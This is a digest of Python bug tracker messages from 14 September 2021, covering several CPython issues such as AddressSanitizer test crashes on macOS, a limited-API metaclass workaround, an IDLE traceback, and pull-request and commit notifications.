Change by Nikita Sobolev :


----------
keywords: +patch
pull_requests: +26741
stage:  -> patch review
pull_request: https://github.com/python/cpython/pull/28330

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Tue Sep 14 08:39:47 2021
From: report at bugs.python.org (Hasan)
Date: Tue, 14 Sep 2021 12:39:47 +0000
Subject: =?utf-8?q?=5Bissue39355=5D_The_Python_library_will_not_compile_with_a_C++?=
 =?utf-8?q?2020_compiler_because_the_code_uses_the_reserved_=E2=80=9Cmodul?=
 =?utf-8?b?ZeKAnSBrZXl3b3Jk?=
In-Reply-To: <1579166721.74.0.203064876936.issue39355@roundup.psfhosted.org>
Message-ID: <1631623187.59.0.712710523301.issue39355@roundup.psfhosted.org>


Hasan  added the comment:

Okey. There will be huge changes for this issue as this keyword has been used in a lot of places. 

That's why i will try to send pull requests module by module to keep it clean and simple for review.

----------

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Tue Sep 14 09:01:31 2021
From: report at bugs.python.org (junyixie)
Date: Tue, 14 Sep 2021 13:01:31 +0000
Subject: [issue45196] macOS. ./configure --with-address-sanitizer; make test; 
 cause test case crash.
Message-ID: <1631624491.63.0.886030663913.issue45196@roundup.psfhosted.org>


New submission from junyixie :

test_io.py
```
=================================================================
==54932==ERROR: AddressSanitizer: requested allocation size 0x7fffffffffffffff (0x8000000000001000 after adjustments for alignment, red zones etc.) exceeds maximum supported size of 0x10000000000 (thread T0)
  #0 0x102f1fa6c in wrap_malloc+0x94 (libclang_rt.asan_osx_dynamic.dylib:arm64e+0x3fa6c)
  #1 0x102565fcc in _buffered_init bufferedio.c:730
  #2 0x10255bba4 in _io_BufferedReader___init__ bufferedio.c.h:435
  #3 0x10226c8c8 in wrap_init typeobject.c:6941
  #4 0x10216d3f8 in _PyObject_Call call.c:305
  #5 0x102387a6c in _PyEval_EvalFrameDefault ceval.c:4285
  #6 0x10237eaa8 in _PyEval_Vector ceval.c:5073
  #7 0x102396860 in call_function ceval.c:5888
  #8 0x102385444 in _PyEval_EvalFrameDefault ceval.c:4206
  #9 0x10237eaa8 in _PyEval_Vector ceval.c:5073
  #10 0x102396860 in call_function ceval.c:5888
  #11 0x102385444 in _PyEval_EvalFrameDefault ceval.c:4206
  #12 0x10237eaa8 in _PyEval_Vector ceval.c:5073
  #13 0x102172bec in method_vectorcall classobject.c:53
  #14 0x102396860 in call_function ceval.c:5888
  #15 0x1023885e4 in _PyEval_EvalFrameDefault ceval.c:4221
  #16 0x10237eaa8 in _PyEval_Vector ceval.c:5073
  #17 0x102396860 in call_function ceval.c:5888
  #18 0x102385444 in _PyEval_EvalFrameDefault ceval.c:4206
  #19 0x10237eaa8 in _PyEval_Vector ceval.c:5073
  #20 0x102172af4 in method_vectorcall classobject.c:83
  #21 0x10216d0a8 in PyVectorcall_Call call.c:255
  #22 0x102387a6c in _PyEval_EvalFrameDefault ceval.c:4285
  #23 0x10237eaa8 in _PyEval_Vector ceval.c:5073
  #24 0x10216c248 in _PyObject_FastCallDictTstate call.c:142
  #25 0x10216dc00 in _PyObject_Call_Prepend call.c:431
  #26 0x102268740 in slot_tp_call typeobject.c:7481
  #27 0x10216c5d4 in _PyObject_MakeTpCall call.c:215
  #28 0x102396b88 in call_function ceval.c
  #29 0x1023885e4 in _PyEval_EvalFrameDefault ceval.c:4221

==54932==HINT: if you don't care about these errors you may set allocator_may_return_null=1
SUMMARY: AddressSanitizer: allocation-size-too-big (libclang_rt.asan_osx_dynamic.dylib:arm64e+0x3fa6c) in wrap_malloc+0x94
==54932==ABORTING
Fatal Python error: Aborted

Current thread 0x0000000102e93d40 (most recent call first):
 File "/Users/xiejunyi/github-cpython/Lib/unittest/case.py", line 201 in handle
 File "/Users/xiejunyi/github-cpython/Lib/unittest/case.py", line 730 in assertRaises
 File "/Users/xiejunyi/github-cpython/Lib/test/test_io.py", line 1558 in test_constructor
 File "/Users/xiejunyi/github-cpython/Lib/unittest/case.py", line 549 in _callTestMethod
 File "/Users/xiejunyi/github-cpython/Lib/unittest/case.py", line 591 in run
 File "/Users/xiejunyi/github-cpython/Lib/unittest/case.py", line 650 in __call__
 File "/Users/xiejunyi/github-cpython/Lib/unittest/suite.py", line 122 in run
 File "/Users/xiejunyi/github-cpython/Lib/unittest/suite.py", line 84 in __call__
 File "/Users/xiejunyi/github-cpython/Lib/unittest/suite.py", line 122 in run
 File "/Users/xiejunyi/github-cpython/Lib/unittest/suite.py", line 84 in __call__
 File "/Users/xiejunyi/github-cpython/Lib/unittest/suite.py", line 122 in run
 File "/Users/xiejunyi/github-cpython/Lib/unittest/suite.py", line 84 in __call__
 File "/Users/xiejunyi/github-cpython/Lib/test/support/testresult.py", line 140 in run
 File "/Users/xiejunyi/github-cpython/Lib/test/support/__init__.py", line 990 in _run_suite
 File "/Users/xiejunyi/github-cpython/Lib/test/support/__init__.py", line 1115 in run_unittest
 File "/Users/xiejunyi/github-cpython/Lib/test/libregrtest/runtest.py", line 261 in _test_module
 File "/Users/xiejunyi/github-cpython/Lib/test/libregrtest/runtest.py", line 297 in _runtest_inner2
 File "/Users/xiejunyi/github-cpython/Lib/test/libregrtest/runtest.py", line 335 in _runtest_inner
 File "/Users/xiejunyi/github-cpython/Lib/test/libregrtest/runtest.py", line 215 in _runtest
 File "/Users/xiejunyi/github-cpython/Lib/test/libregrtest/runtest.py", line 245 in runtest
 File "/Users/xiejunyi/github-cpython/Lib/test/libregrtest/runtest_mp.py", line 83 in run_tests_worker
 File "/Users/xiejunyi/github-cpython/Lib/test/libregrtest/main.py", line 678 in _main
 File "/Users/xiejunyi/github-cpython/Lib/test/libregrtest/main.py", line 658 in main
 File "/Users/xiejunyi/github-cpython/Lib/test/libregrtest/main.py", line 736 in main
 File "/Users/xiejunyi/github-cpython/Lib/test/regrtest.py", line 43 in _main
 File "/Users/xiejunyi/github-cpython/Lib/test/regrtest.py", line 47 in 
 File "/Users/xiejunyi/github-cpython/Lib/runpy.py", line 86 in _run_code
 File "/Users/xiejunyi/github-cpython/Lib/runpy.py", line 196 in _run_module_as_main
```

test_decimal.py
```
0:05:09 load avg: 159.57 [287/427/30] test_decimal crashed (Exit code -6) -- running: test_pickle (1 min 35 sec), test_tokenize (3 min 14 sec), test_unparse (4 min 32 sec), test_peg_generator (48.6 sec), test_subprocess (1 min 50 sec), test_faulthandler (36.0 sec), test_capi (3 min 3 sec), test_pdb (2 min 27 sec)
=================================================================
==6547==ERROR: AddressSanitizer: requested allocation size 0xbafc24672035e58 (0xbafc24672036e58 after adjustments for alignment, red zones etc.) exceeds maximum supported size of 0x10000000000 (thread T0)
  #0 0x103d4ba6c in wrap_malloc+0x94 (libclang_rt.asan_osx_dynamic.dylib:arm64e+0x3fa6c)
  #1 0x10e1c9828 in mpd_switch_to_dyn mpalloc.c:217
  #2 0x10e1d7a50 in mpd_qshiftl mpdecimal.c:2514
  #3 0x10e2207a4 in _mpd_qsqrt mpdecimal.c:7945
  #4 0x10e21f188 in mpd_qsqrt mpdecimal.c:8037
  #5 0x10e190d58 in dec_mpd_qsqrt _decimal.c:4128
  #6 0x102f8fd88 in method_vectorcall_VARARGS_KEYWORDS descrobject.c:346
  #7 0x1031a6c44 in call_function ceval.c
  #8 0x103195cb0 in _PyEval_EvalFrameDefault ceval.c:4350
  #9 0x10318bc3c in _PyEval_Vector ceval.c:5221
  #10 0x102f7f994 in method_vectorcall classobject.c:54
  #11 0x1031a6c44 in call_function ceval.c
  #12 0x1031bb1f8 in DROGON_JIT_HELPER_CALL_FUNCTION ceval_jit_helper.h:3041
  #13 0x10f0c8164 ()
  #14 0x10318d644 in _PyEval_EvalFrameDefault ceval.c:1827
  #15 0x10318bc3c in _PyEval_Vector ceval.c:5221
  #16 0x1031a6c44 in call_function ceval.c
  #17 0x1031baf98 in DROGON_JIT_HELPER_CALL_METHOD ceval_jit_helper.h:3020
  #18 0x10f09e6ec ()
  #19 0x10318d644 in _PyEval_EvalFrameDefault ceval.c:1827
  #20 0x10318bc3c in _PyEval_Vector ceval.c:5221
  #21 0x102f7f89c in method_vectorcall classobject.c:84
  #22 0x102f79e50 in PyVectorcall_Call call.c:255
  #23 0x1031bb700 in DROGON_JIT_HELPER_CALL_FUNCTION_EX ceval_jit_helper.h:3117
  #24 0x10f02c2c4 ()
  #25 0x10318d644 in _PyEval_EvalFrameDefault ceval.c:1827
  #26 0x10318bc3c in _PyEval_Vector ceval.c:5221
  #27 0x102f78ff0 in _PyObject_FastCallDictTstate call.c:142
  #28 0x102f7a9a8 in _PyObject_Call_Prepend call.c:431
  #29 0x103074ce0 in slot_tp_call typeobject.c:7605

==6547==HINT: if you don't care about these errors you may set allocator_may_return_null=1
SUMMARY: AddressSanitizer: allocation-size-too-big (libclang_rt.asan_osx_dynamic.dylib:arm64e+0x3fa6c) in wrap_malloc+0x94
==6547==ABORTING
Fatal Python error: Aborted
```

----------
components: Tests
messages: 401779
nosy: JunyiXie, gregory.p.smith
priority: normal
severity: normal
status: open
title: macOS. ./configure --with-address-sanitizer; make test; cause test case crash.
versions: Python 3.11

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Tue Sep 14 09:01:45 2021
From: report at bugs.python.org (junyixie)
Date: Tue, 14 Sep 2021 13:01:45 +0000
Subject: [issue45196] macOS. ./configure --with-address-sanitizer; make test; 
 cause test case crash.
In-Reply-To: <1631624491.63.0.886030663913.issue45196@roundup.psfhosted.org>
Message-ID: <1631624505.62.0.756736053987.issue45196@roundup.psfhosted.org>


Change by junyixie :


----------
type:  -> crash

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Tue Sep 14 09:05:44 2021
From: report at bugs.python.org (junyixie)
Date: Tue, 14 Sep 2021 13:05:44 +0000
Subject: [issue45196] macOS. ./configure --with-address-sanitizer; make test; 
 cause test case crash.
In-Reply-To: <1631624491.63.0.886030663913.issue45196@roundup.psfhosted.org>
Message-ID: <1631624744.21.0.199562580742.issue45196@roundup.psfhosted.org>


Change by junyixie :


----------
keywords: +patch
pull_requests: +26742
stage:  -> patch review
pull_request: https://github.com/python/cpython/pull/28331

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Tue Sep 14 09:09:48 2021
From: report at bugs.python.org (junyixie)
Date: Tue, 14 Sep 2021 13:09:48 +0000
Subject: [issue45196] macOS. ./configure --with-address-sanitizer; make test; 
 cause test case crash.
In-Reply-To: <1631624491.63.0.886030663913.issue45196@roundup.psfhosted.org>
Message-ID: <1631624988.79.0.89206430605.issue45196@roundup.psfhosted.org>


junyixie  added the comment:

ignore test_decimal.py crash backtrace.

----------

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Tue Sep 14 09:57:58 2021
From: report at bugs.python.org (Josh Haberman)
Date: Tue, 14 Sep 2021 13:57:58 +0000
Subject: [issue15870] PyType_FromSpec should take metaclass as an argument
In-Reply-To: <1346946566.36.0.583610018294.issue15870@psf.upfronthosting.co.za>
Message-ID: <1631627878.65.0.755255673452.issue15870@roundup.psfhosted.org>


Josh Haberman  added the comment:

I found a way to use metaclasses with the limited API.

I found that I can access PyType_Type.tp_new by creating a heap type derived from PyType_Type:

  static PyType_Slot dummy_slots[] = {
    {0, NULL}
  };

  static PyType_Spec dummy_spec = {
      "module.DummyClass", 0, 0, Py_TPFLAGS_DEFAULT, dummy_slots,
  };

  PyObject *bases = Py_BuildValue("(O)", &PyType_Type);
  PyObject *type = PyType_FromSpecWithBases(&dummy_spec, bases);
  Py_DECREF(bases);

  type_new = PyType_GetSlot((PyTypeObject*)type, Py_tp_new);
  Py_DECREF(type);

  #ifndef Py_LIMITED_API
    assert(type_new == PyType_Type.tp_new);
  #endif

  // Creates a type using a metaclass.
  PyObject *uses_metaclass = type_new(metaclass, args, NULL);

PyType_GetSlot() can't be used on PyType_Type directly, since it is not a heap type.  But a heap type derived from PyType_Type will inherit tp_new, and we can call PyType_GetSlot() on that.

Once we have PyType_Type.tp_new, we can use it to create a new type using a metaclass. This avoids any of the class-switching tricks I was trying before.  We can also get other slots of PyType_Type like tp_getattro to do the equivalent of super().

The PyType_FromSpecEx() function proposed in this bug would still be a nicer solution to my problem.  Calling type_new() doesn't let you specify object size or slots.  To work around this, I derive from a type I created with PyType_FromSpec(), relying on the fact that the size and slots will be inherited.  This works, but it introduces an extra class into the hierarchy that ideally could be avoided.

But I do have a workaround that appears to work, and avoids the problems associated with setting ob_type directly (like PyPy incompatibility).

----------
nosy: +haberman2

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Tue Sep 14 11:33:16 2021
From: report at bugs.python.org (Raymond Hettinger)
Date: Tue, 14 Sep 2021 15:33:16 +0000
Subject: [issue45197] IDLE should suppress ValueError for list.remove()
Message-ID: <1631633596.4.0.569139047582.issue45197@roundup.psfhosted.org>


New submission from Raymond Hettinger :

I got this today running a stock Python 3.9.6 for macOS downloaded from python.org.

-------------------------------------------------------------

Traceback (most recent call last):
  File "/Library/Frameworks/Python.framework/Versions/3.9/lib/python3.9/tkinter/__init__.py", line 1892, in __call__
    return self.func(*args)
  File "/Library/Frameworks/Python.framework/Versions/3.9/lib/python3.9/idlelib/multicall.py", line 176, in handler
    r = l[i](event)
  File "/Library/Frameworks/Python.framework/Versions/3.9/lib/python3.9/idlelib/autocomplete_w.py", line 350, in keypress_event
    self.hide_window()
  File "/Library/Frameworks/Python.framework/Versions/3.9/lib/python3.9/idlelib/autocomplete_w.py", line 463, in hide_window
    self.widget.event_delete(HIDE_VIRTUAL_EVENT_NAME, seq)
  File "/Library/Frameworks/Python.framework/Versions/3.9/lib/python3.9/idlelib/multicall.py", line 392, in event_delete
    triplets.remove(triplet)
ValueError: list.remove(x): x not in list

----------
assignee: terry.reedy
components: IDLE
messages: 401782
nosy: rhettinger, terry.reedy
priority: normal
severity: normal
status: open
title: IDLE should suppress ValueError for list.remove()
type: behavior
versions: Python 3.9

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Tue Sep 14 11:38:19 2021
From: report at bugs.python.org (miss-islington)
Date: Tue, 14 Sep 2021 15:38:19 +0000
Subject: [issue45195] test_readline: test_nonascii() failed on aarch64 RHEL8
 Refleaks 3.x
In-Reply-To: <1631618041.01.0.810175030001.issue45195@roundup.psfhosted.org>
Message-ID: <1631633899.75.0.991421212858.issue45195@roundup.psfhosted.org>


Change by miss-islington :


----------
pull_requests: +26744
pull_request: https://github.com/python/cpython/pull/28334

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Tue Sep 14 11:38:16 2021
From: report at bugs.python.org (STINNER Victor)
Date: Tue, 14 Sep 2021 15:38:16 +0000
Subject: [issue45195] test_readline: test_nonascii() failed on aarch64 RHEL8
 Refleaks 3.x
In-Reply-To: <1631618041.01.0.810175030001.issue45195@roundup.psfhosted.org>
Message-ID: <1631633896.39.0.774994994117.issue45195@roundup.psfhosted.org>


STINNER Victor  added the comment:


New changeset 797c8eb9ef511f0c25f10a453b35c4d2fe383c30 by Victor Stinner in branch 'main':
bpo-45195: Fix test_readline.test_nonascii() (GH-28329)
https://github.com/python/cpython/commit/797c8eb9ef511f0c25f10a453b35c4d2fe383c30


----------

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Tue Sep 14 11:38:15 2021
From: report at bugs.python.org (miss-islington)
Date: Tue, 14 Sep 2021 15:38:15 +0000
Subject: [issue45195] test_readline: test_nonascii() failed on aarch64 RHEL8
 Refleaks 3.x
In-Reply-To: <1631618041.01.0.810175030001.issue45195@roundup.psfhosted.org>
Message-ID: <1631633895.12.0.871100430271.issue45195@roundup.psfhosted.org>


Change by miss-islington :


----------
nosy: +miss-islington
nosy_count: 1.0 -> 2.0
pull_requests: +26743
pull_request: https://github.com/python/cpython/pull/28333

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Tue Sep 14 12:03:49 2021
From: report at bugs.python.org (xitop)
Date: Tue, 14 Sep 2021 16:03:49 +0000
Subject: [issue38085] Interrupting class creation in __init_subclass__ may
 lead to incorrect isinstance() and issubclass() results
In-Reply-To: <1568106581.16.0.558052842785.issue38085@roundup.psfhosted.org>
Message-ID: <1631635429.06.0.652943245642.issue38085@roundup.psfhosted.org>


xitop  added the comment:

2nd anniversary. Any reaction from developers would be appreciated. Thank you.

----------

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Tue Sep 14 12:09:35 2021
From: report at bugs.python.org (Eric Snow)
Date: Tue, 14 Sep 2021 16:09:35 +0000
Subject: [issue45186] Marshal output isn't completely deterministic.
In-Reply-To: <1631565250.25.0.751940112521.issue45186@roundup.psfhosted.org>
Message-ID: <1631635775.53.0.886157994403.issue45186@roundup.psfhosted.org>


Change by Eric Snow :


----------
keywords: +patch
pull_requests: +26746
stage: needs patch -> patch review
pull_request: https://github.com/python/cpython/pull/28335

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Tue Sep 14 12:09:35 2021
From: report at bugs.python.org (Eric Snow)
Date: Tue, 14 Sep 2021 16:09:35 +0000
Subject: [issue45188] De-couple the Windows builds from freezing modules.
In-Reply-To: <1631565846.06.0.121053368867.issue45188@roundup.psfhosted.org>
Message-ID: <1631635775.59.0.40900339497.issue45188@roundup.psfhosted.org>


Change by Eric Snow :


----------
pull_requests: +26747
pull_request: https://github.com/python/cpython/pull/28335

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Tue Sep 14 12:09:35 2021
From: report at bugs.python.org (Eric Snow)
Date: Tue, 14 Sep 2021 16:09:35 +0000
Subject: [issue45020] Freeze all modules imported during startup.
In-Reply-To: <1630005838.27.0.743852977618.issue45020@roundup.psfhosted.org>
Message-ID: <1631635775.35.0.161807272166.issue45020@roundup.psfhosted.org>


Change by Eric Snow :


----------
pull_requests: +26745
pull_request: https://github.com/python/cpython/pull/28335

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Tue Sep 14 12:09:35 2021
From: report at bugs.python.org (Eric Snow)
Date: Tue, 14 Sep 2021 16:09:35 +0000
Subject: [issue21736] Add __file__ attribute to frozen modules
In-Reply-To: <1402589689.02.0.501075866976.issue21736@psf.upfronthosting.co.za>
Message-ID: <1631635775.67.0.591095567134.issue21736@roundup.psfhosted.org>


Change by Eric Snow :


----------
pull_requests: +26748
stage:  -> patch review
pull_request: https://github.com/python/cpython/pull/28335

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Tue Sep 14 12:40:25 2021
From: report at bugs.python.org (xitop)
Date: Tue, 14 Sep 2021 16:40:25 +0000
Subject: [issue45198] __set_name__ documentation not clear about its usage
 with non-descriptor classes
Message-ID: <1631637625.07.0.44020466506.issue45198@roundup.psfhosted.org>


New submission from xitop :

The object.__set_name__() function (introduced in Python 3.6 by PEP-487) is mentioned in the "what's new " summary as an extension to the descriptor protocol [1] and documented in the "implementing descriptors" section [2].

However, the PEP itself states that it "adds an __set_name__ initializer for class attributes, especially if they are descriptors.". And it indeed works for plain classes where the descriptor protocol is not used at all (no __get__ or __set__ or __delete__):

----
class NotDescriptor:
    def __set_name__(self, owner, name):
        print('__set_name__ called')
            
class SomeClass:
    attr = NotDescriptor()
----

It is clear that this method is helpful when used in descriptors and that is its intended use, but other valid use-cases probably exist.

I suggest to amend the documentation to clarify that (correct me if I'm wrong) the __set_name__ is called for every class used as an attribute in an other class, not only for descriptors.

---

URLs:

[1]: https://docs.python.org/3/whatsnew/3.6.html#pep-487-descriptor-protocol-enhancements

[2]: https://docs.python.org/3/reference/datamodel.html#implementing-descriptors

----------
assignee: docs at python
components: Documentation
messages: 401785
nosy: docs at python, xitop
priority: normal
severity: normal
status: open
title: __set_name__ documentation not clear about its usage with non-descriptor classes
versions: Python 3.6, Python 3.7, Python 3.8, Python 3.9

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Tue Sep 14 13:35:58 2021
From: report at bugs.python.org (Benjamin Peterson)
Date: Tue, 14 Sep 2021 17:35:58 +0000
Subject: [issue45190] unicode 14.0 upgrade
In-Reply-To: <1631582273.28.0.521036633786.issue45190@roundup.psfhosted.org>
Message-ID: <1631640958.32.0.519269544032.issue45190@roundup.psfhosted.org>


Change by Benjamin Peterson :


----------
keywords: +patch
pull_requests: +26749
stage:  -> patch review
pull_request: https://github.com/python/cpython/pull/28336

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Tue Sep 14 14:00:50 2021
From: report at bugs.python.org (Benjamin Peterson)
Date: Tue, 14 Sep 2021 18:00:50 +0000
Subject: [issue45190] unicode 14.0 upgrade
In-Reply-To: <1631582273.28.0.521036633786.issue45190@roundup.psfhosted.org>
Message-ID: <1631642450.66.0.743266838092.issue45190@roundup.psfhosted.org>


Benjamin Peterson  added the comment:


New changeset 024fda47d40b8cee77ac1cd3d31ee549edc11986 by Benjamin Peterson in branch 'main':
closes bpo-45190: Update Unicode data to version 14.0.0. (GH-28336)
https://github.com/python/cpython/commit/024fda47d40b8cee77ac1cd3d31ee549edc11986


----------
resolution:  -> fixed
stage: patch review -> resolved
status: open -> closed

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Tue Sep 14 14:32:01 2021
From: report at bugs.python.org (Gregory P. Smith)
Date: Tue, 14 Sep 2021 18:32:01 +0000
Subject: [issue45196] macOS. ./configure --with-address-sanitizer; make test; 
 cause test case crash.
In-Reply-To: <1631624491.63.0.886030663913.issue45196@roundup.psfhosted.org>
Message-ID: <1631644321.39.0.896748775424.issue45196@roundup.psfhosted.org>


Gregory P. Smith  added the comment:


New changeset b668cdfa09e9bdfcfddaadd23dbd455d5f667383 by junyixie in branch 'main':
bpo-45196: prevent unittest crash on address sanitizer builds (GH-28331)
https://github.com/python/cpython/commit/b668cdfa09e9bdfcfddaadd23dbd455d5f667383


----------

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Tue Sep 14 14:32:08 2021
From: report at bugs.python.org (miss-islington)
Date: Tue, 14 Sep 2021 18:32:08 +0000
Subject: [issue45196] macOS. ./configure --with-address-sanitizer; make test; 
 cause test case crash.
In-Reply-To: <1631624491.63.0.886030663913.issue45196@roundup.psfhosted.org>
Message-ID: <1631644328.04.0.394816332056.issue45196@roundup.psfhosted.org>


Change by miss-islington :


----------
nosy: +miss-islington
nosy_count: 2.0 -> 3.0
pull_requests: +26750
pull_request: https://github.com/python/cpython/pull/28337

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Tue Sep 14 14:32:12 2021
From: report at bugs.python.org (miss-islington)
Date: Tue, 14 Sep 2021 18:32:12 +0000
Subject: [issue45196] macOS. ./configure --with-address-sanitizer; make test; 
 cause test case crash.
In-Reply-To: <1631624491.63.0.886030663913.issue45196@roundup.psfhosted.org>
Message-ID: <1631644332.22.0.518387894539.issue45196@roundup.psfhosted.org>


Change by miss-islington :


----------
pull_requests: +26751
pull_request: https://github.com/python/cpython/pull/28338

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Tue Sep 14 14:34:09 2021
From: report at bugs.python.org (Gregory P. Smith)
Date: Tue, 14 Sep 2021 18:34:09 +0000
Subject: [issue45196] macOS. ./configure --with-address-sanitizer; make test; 
 cause test case crash.
In-Reply-To: <1631624491.63.0.886030663913.issue45196@roundup.psfhosted.org>
Message-ID: <1631644449.03.0.723691243418.issue45196@roundup.psfhosted.org>


Change by Gregory P. Smith :


----------
assignee:  -> gregory.p.smith
versions: +Python 3.10, Python 3.9

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Tue Sep 14 14:53:39 2021
From: report at bugs.python.org (Pablo Galindo Salgado)
Date: Tue, 14 Sep 2021 18:53:39 +0000
Subject: [issue45083] Need to use the exception class qualname when rendering
 exception (in C code)
In-Reply-To: <1630532795.5.0.16726920843.issue45083@roundup.psfhosted.org>
Message-ID: <1631645619.47.0.478635979717.issue45083@roundup.psfhosted.org>


Pablo Galindo Salgado  added the comment:

The bug is not a crash in the interpreter and this PR touches fundamental code in the interpreter, so I think the safest approach is waiting for 3.10.1

----------
priority: release blocker -> 

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Tue Sep 14 14:54:34 2021
From: report at bugs.python.org (miss-islington)
Date: Tue, 14 Sep 2021 18:54:34 +0000
Subject: [issue45196] macOS. ./configure --with-address-sanitizer; make test; 
 cause test case crash.
In-Reply-To: <1631624491.63.0.886030663913.issue45196@roundup.psfhosted.org>
Message-ID: <1631645674.41.0.579486876037.issue45196@roundup.psfhosted.org>


miss-islington  added the comment:


New changeset 9ccdc90488302b212bd3405d10dc5c22052e9b4c by Miss Islington (bot) in branch '3.9':
bpo-45196: prevent unittest crash on address sanitizer builds (GH-28331)
https://github.com/python/cpython/commit/9ccdc90488302b212bd3405d10dc5c22052e9b4c


----------

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Tue Sep 14 14:58:23 2021
From: report at bugs.python.org (miss-islington)
Date: Tue, 14 Sep 2021 18:58:23 +0000
Subject: [issue45196] macOS. ./configure --with-address-sanitizer; make test; 
 cause test case crash.
In-Reply-To: <1631624491.63.0.886030663913.issue45196@roundup.psfhosted.org>
Message-ID: <1631645903.13.0.973138378998.issue45196@roundup.psfhosted.org>


miss-islington  added the comment:


New changeset be200c3c6e2f82db553c0e5424e4ba70caf189c3 by Miss Islington (bot) in branch '3.10':
bpo-45196: prevent unittest crash on address sanitizer builds (GH-28331)
https://github.com/python/cpython/commit/be200c3c6e2f82db553c0e5424e4ba70caf189c3


----------

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Tue Sep 14 14:58:34 2021
From: report at bugs.python.org (Pablo Galindo Salgado)
Date: Tue, 14 Sep 2021 18:58:34 +0000
Subject: [issue45147] Typo in "What's New In Python 3.10" documentation
In-Reply-To: <1631168340.99.0.160040683472.issue45147@roundup.psfhosted.org>
Message-ID: <1631645914.95.0.237947178707.issue45147@roundup.psfhosted.org>


Pablo Galindo Salgado  added the comment:

> @pablogsal: You might want to merge this back to 3.10.0, once it's merged to 3.10. I'll merge it shortly, once the tests have run.


Thanks for the ping. I have cherry-picked PR 28259 to 3.10.0

----------

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Tue Sep 14 15:06:25 2021
From: report at bugs.python.org (Gregory P. Smith)
Date: Tue, 14 Sep 2021 19:06:25 +0000
Subject: [issue45196] macOS. ./configure --with-address-sanitizer; make test; 
 cause test case crash.
In-Reply-To: <1631624491.63.0.886030663913.issue45196@roundup.psfhosted.org>
Message-ID: <1631646385.91.0.814443531786.issue45196@roundup.psfhosted.org>


Change by Gregory P. Smith :


----------
resolution:  -> fixed
stage: patch review -> resolved
status: open -> closed

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Tue Sep 14 15:10:38 2021
From: report at bugs.python.org (Pablo Galindo Salgado)
Date: Tue, 14 Sep 2021 19:10:38 +0000
Subject: [issue40128] IDLE Show completions pop-up not working on macOS
In-Reply-To: <1585675008.66.0.405710178889.issue40128@roundup.psfhosted.org>
Message-ID: <1631646638.93.0.48117593981.issue40128@roundup.psfhosted.org>


Pablo Galindo Salgado  added the comment:

Thanks Terry,

I have cherry-picked commit b441e99d89a3f05210cc36ade57699384986ca00 to the 3.10.0 release branch!

----------

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Tue Sep 14 15:17:30 2021
From: report at bugs.python.org (Pablo Galindo Salgado)
Date: Tue, 14 Sep 2021 19:17:30 +0000
Subject: [issue45183] Unexpected exception with zip importer
In-Reply-To: <1631532545.02.0.971781687861.issue45183@roundup.psfhosted.org>
Message-ID: <1631647050.24.0.739728201118.issue45183@roundup.psfhosted.org>


Pablo Galindo Salgado  added the comment:

I bisected this to:

3abf6f010243a91bf57cbf357dac33193f7b8407 is the first bad commit
commit 3abf6f010243a91bf57cbf357dac33193f7b8407
Author: Desmond Cheong 
Date:   Tue Mar 9 04:06:02 2021 +0800

    bpo-14678: Update zipimport to support importlib.invalidate_caches() (GH-24159)



    Added an invalidate_caches() method to the zipimport.zipimporter class based on the implementation of importlib.FileFinder.invalidate_caches(). This was done by adding a get_files() method and an _archive_mtime attribute to zipimport.zipimporter to check for updates or cache invalidation whenever the cache of files and toc entry information in the zipimporter is accessed.

 Doc/library/zipimport.rst                          |    9 +
 Lib/test/test_zipimport.py                         |   41 +
 Lib/zipimport.py                                   |   10 +
 .../2021-01-07-21-25-49.bpo-14678.1zniCH.rst       |    3 +
 Python/importlib_zipimport.h                       | 1896 ++++++++++----------
 5 files changed, 1020 insertions(+), 939 deletions(-)
 create mode 100644 Misc/NEWS.d/next/Library/2021-01-07-21-25-49.bpo-14678.1zniCH.rst
bisect run success


Which is https://bugs.python.org/issue14678

----------
nosy: +brett.cannon

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Tue Sep 14 15:17:48 2021
From: report at bugs.python.org (Pablo Galindo Salgado)
Date: Tue, 14 Sep 2021 19:17:48 +0000
Subject: [issue45183] Unexpected exception with zip importer
In-Reply-To: <1631532545.02.0.971781687861.issue45183@roundup.psfhosted.org>
Message-ID: <1631647068.17.0.819145598762.issue45183@roundup.psfhosted.org>


Pablo Galindo Salgado  added the comment:

Brett, can you take a look when you have some time?

----------

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Tue Sep 14 15:41:08 2021
From: report at bugs.python.org (Pablo Galindo Salgado)
Date: Tue, 14 Sep 2021 19:41:08 +0000
Subject: [issue4356] Add "key" argument to "bisect" module functions
In-Reply-To: <1227115048.67.0.318831592843.issue4356@psf.upfronthosting.co.za>
Message-ID: <1631648468.79.0.623051991398.issue4356@roundup.psfhosted.org>


Change by Pablo Galindo Salgado :


----------
nosy: +pablogsal
nosy_count: 20.0 -> 21.0
pull_requests: +26752
pull_request: https://github.com/python/cpython/pull/28339

_______________________________________
Python tracker 

_______________________________________

